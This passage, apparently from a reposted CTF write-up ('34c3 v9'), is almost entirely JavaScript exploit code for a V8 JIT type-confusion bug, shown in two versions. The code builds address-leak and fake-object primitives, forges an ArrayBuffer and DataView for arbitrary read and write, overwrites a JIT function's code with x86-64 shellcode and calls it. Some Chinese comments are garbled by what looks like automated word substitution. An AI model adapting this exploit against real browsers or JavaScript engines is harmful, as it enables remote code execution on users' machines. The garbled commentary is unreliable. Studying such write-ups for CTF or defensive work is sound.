ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));

//用ab_proto_addr和ab_constructor_addr替代fake map中的nop
ab_map_obj[0x6] = ab_proto_addr & 0xffffffff;
ab_map_obj[0x7] = ab_proto_addr / 0x100000000;
ab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;
ab_map_obj[0x9] = ab_constructor_addr / 0x100000000;

var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
// 将int array转换成double array
change_to_float(ab_map_obj,ab_map_obj_float);
// 此处gc是为了将ab_map_obj_float放入到old space里,
// 若是没有gc则ab_map_obj_float会在后续的leak中由于gc而被迁徙

gc();
// gc();
print("要leak出的ab_map_obj_float的数组");
%DebugPrint(ab_map_obj_float);
// leak ab_map_obj_float的地点

arr1=[1.1,2.2,3.3,4.4];

function read_obj_addr1(object){
    function evil_r1() {
        arr1[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr1, function() {})
    }
    re=u2d(trigger(arr1,evil_r1));
    return re;
}
ab_map_obj_addr=read_obj_addr1(ab_map_obj_float)+0x280+0x10;
print(ab_map_obj_addr.toString(16));

var fake_ab = [
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    0x0,0x4000, /* buffer length */
    0x12345678,0x123,/* buffer address */
    0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(fake_ab,fake_ab_float);
gc();
arr2=[1.1,2.2,3.3,4.4];

function read_obj_addr2(object){
    function evil_r2() {
        arr2[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr2, function() {})
    }
    re=u2d(trigger(arr2,evil_r2));
    return re;
}
print("要leak出的fake_ab_float的数组");
%DebugPrint(fake_ab_float);
fake_ab_float_addr=read_obj_addr2(fake_ab_float)+0x300+0x10;
print(fake_ab_float_addr.toString(16));

fake_ab_float_addr_f = d2u(fake_ab_float_addr / 0x100000000,fake_ab_float_addr & 0xffffffff);
print(fake_ab_float_addr_f + '\n\n\n');
arrr=[1.1,2.2,3.3,4.4];

function write_obj_addr(object){
    function evil_w0() {
        arrr[0] = {};
        %DebugPrint(arrr);
    }
    for (var i = 0; i < 100000; i++) {
        trigger2(arrr, function() {},1.1);
    }
    // print("arrr first is");
    // %DebugPrint(arrr);
    trigger2(arrr,evil_w0,fake_ab_float_addr_f);
}
write_obj_addr(fake_ab_float_addr_f);
print("arrr last is");
%DebugPrint(arrr);
//DataView(ArrayBuffer buffer [, 字节肇端地位 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);

var evil_f = new Function("var a = 1000000");

gc();

print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];

function read_obj_addr3(object){
    function evil_r3() {
        arr3[0] = object;
        %DebugPrint(arr3);
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr3, function() {})
    }
    re=u2d(trigger(arr3,evil_r3));
    return re;
}
shellcode_address_ref=read_obj_addr3(evil_f)+0x38-1;
print(shellcode_address_ref.toString(16));
function Read32(addr){
    fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
    //fake_dv = new DataView(fake_arraybuffer,0,0x4000);
    //print(fake_ab_float[4]);
    //get要领的参数都是一个字节序号(不克不及是负数,不然会报错),透露表现从哪一个字节最先读取。
    //若是一次读取两个或两个以上字节,就必须明白数据的存储体式格局,究竟是小端字节序照样大端字节序。
    //默许情况下,DataView的get要领运用大端字节序解读数据,若是须要运用小端字节序解读,必须在get要领的第二个参数指定true。
    return fake_dv.getUint32(0,true);
}
function Write32(addr,value){
    fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
    //fake_dv = new DataView(fake_arraybuffer,0,0x4000);
    //print(fake_ab_float[4]);
    print("write");     
    fake_dv.setUint32(0,value,true);
}

shellcode_address = Read32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) * 0x100000000;;
print(shellcode_address.toString(16));
var addr = shellcode_address-1+0x60;
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// shellcode[0] = 0x90909090;
// shellcode[1] = 0x90909090;
// shellcode[2] = 0x782fb848;
// shellcode[3] = 0x636c6163;
// shellcode[4] = 0x48500000;
// shellcode[5] = 0x73752fb8;
// shellcode[6] = 0x69622f72;
// shellcode[7] = 0x8948506e;
// shellcode[8] = 0xc03148e7;
// shellcode[9] = 0x89485750;
// shellcode[10] = 0xd23148e6;
// shellcode[11] = 0x3ac0c748;
// shellcode[12] = 0x50000030;
// shellcode[13] = 0x4944b848;
// shellcode[14] = 0x414c5053;
// shellcode[15] = 0x48503d59;
// shellcode[16] = 0x3148e289;
// shellcode[17] = 0x485250c0;
// shellcode[18] = 0xc748e289;
// shellcode[19] = 0x00003bc0;
// shellcode[20] = 0x050f00;
for(var i = 0; i < shellcode.length;i++){
    var value = shellcode[i];       
    fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f();

版本2(东西类在上面)

// leak出object的地点,行将一个object当做double读出来
function trigger(arr,callback){
    var v=arr[0];
    callback();
    return arr[0];
}

// 将一个数当做object写进去
function trigger2(arr, callback, val) {
    var v = arr[0];
    callback();
    arr[0] = val;
}

gc();
gc();
var ab_map_obj = [
    -1.1263976280432204e+129,
    3.477098183419809e-308,
    6.73490047e-316,
    -1.1263976280432204e+129,   // use ut32.prototype replace it
    -1.1263976280432204e+129,
    0.0
];
gc();
gc();
var ab=new ArrayBuffer(0x20);
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());
// print("float is " + (new Int64(0x00000000082003ff)).asDouble().toString());

arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
    function evil_r0() {
        arr0[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr0, function() {})
    }
    // print(Int64.fromDouble(trigger(arr0,evil_r0)).toString(16));
    re=Int64.fromDouble(trigger(arr0,evil_r0));
    return re;
}

ab_proto_addr=parseInt(read_obj_addr(ab.__proto__));
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));

ab_map_obj[0x3]=new Int64(ab_proto_addr).asDouble();
ab_map_obj[0x4]=new Int64(ab_constructor_addr).asDouble();


print("要leak出的ab_map_obj的数组");
%DebugPrint(ab_map_obj);
// leak ab_map_obj的地点

arr1=[1.1,2.2,3.3,4.4];

function read_obj_addr1(object){
    function evil_r1() {
        arr1[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr1, function() {})
    }
    // print(Int64.fromDouble(trigger(arr1,evil_r1)).toString(16));
    re=Int64.fromDouble(trigger(arr1,evil_r1));
    // while(1);
    return re;
}


// ab_map_obj_addr = read_obj_addr1(ab_map_obj);
ab_map_obj_addr = parseInt(read_obj_addr1(ab_map_obj))+0x70;
print(ab_map_obj_addr.toString(16));
ab_map_obj_addr = new Int64(ab_map_obj_addr).asDouble();
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());

gc();
gc();

var fake_ab = [
    ab_map_obj_addr,
    ab_map_obj_addr,
    ab_map_obj_addr,
    3.4766779039175e-310, /* buffer length 0x4000*/
    3.477098183419809e-308,//backing store,先随意填一个数
    3.477098183419809e-308
];

gc();
gc();

arr2=[1.1,2.2,3.3,4.4];

function read_obj_addr2(object){
    function evil_r2() {
        arr2[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr2, function() {})
    }
    re=Int64.fromDouble(trigger(arr2,evil_r2));
    return re;
}
print("要leak出的fake_ab的数组");
%DebugPrint(fake_ab);
fake_ab_float_addr=parseInt(read_obj_addr2(fake_ab))+0x70;
print(fake_ab_float_addr.toString(16));

fake_ab_float_addr=new Int64(fake_ab_float_addr).asDouble();

arrr=[1.1,2.2,3.3,4.4];

function write_obj_addr(object){
    function evil_w0() {
        arrr[0] = {};
        %DebugPrint(arrr);
    }
    for (var i = 0; i < 100000; i++) {
        trigger2(arrr, function() {},1.1);
    }
    // print("arrr first is");
    // %DebugPrint(arrr);
    trigger2(arrr,evil_w0,fake_ab_float_addr);
}
write_obj_addr(fake_ab_float_addr);
print("arrr last is");
%DebugPrint(arrr);
//DataView(ArrayBuffer buffer [, 字节肇端地位 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);

gc();
gc();
var evil_f = new Function("var a = 1000000");
gc();
gc();

print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];

function read_obj_addr3(object){
    function evil_r3() {
        arr3[0] = object;
        %DebugPrint(arr3);
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr3, function() {})
    }
    re=Int64.fromDouble(trigger(arr3,evil_r3));
    return re;
}
shellcode_address_ref=parseInt(read_obj_addr3(evil_f))+0x38-1;
print(shellcode_address_ref.toString(16));
// while(1);
// read function code address
fake_ab[4]=new Int64(shellcode_address_ref).asDouble();
fake_ab[5]=new Int64(shellcode_address_ref).asDouble();
%DebugPrint(fake_ab);

shellcode_address =  fake_dv.getFloat64(0,true);
print(Int64.fromDouble(shellcode_address).toString(16));
shellcode_address=shellcode_address+new Int64(0x5f).asDouble();
print(Int64.fromDouble(shellcode_address).toString(16));


fake_ab[4]=shellcode_address;
fake_ab[5]=shellcode_address;
%DebugPrint(fake_ab);
// while(1);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i = 0; i < shellcode.length;i++){
    var value = shellcode[i];       
    fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f();


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明34c3 v9 writeup
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址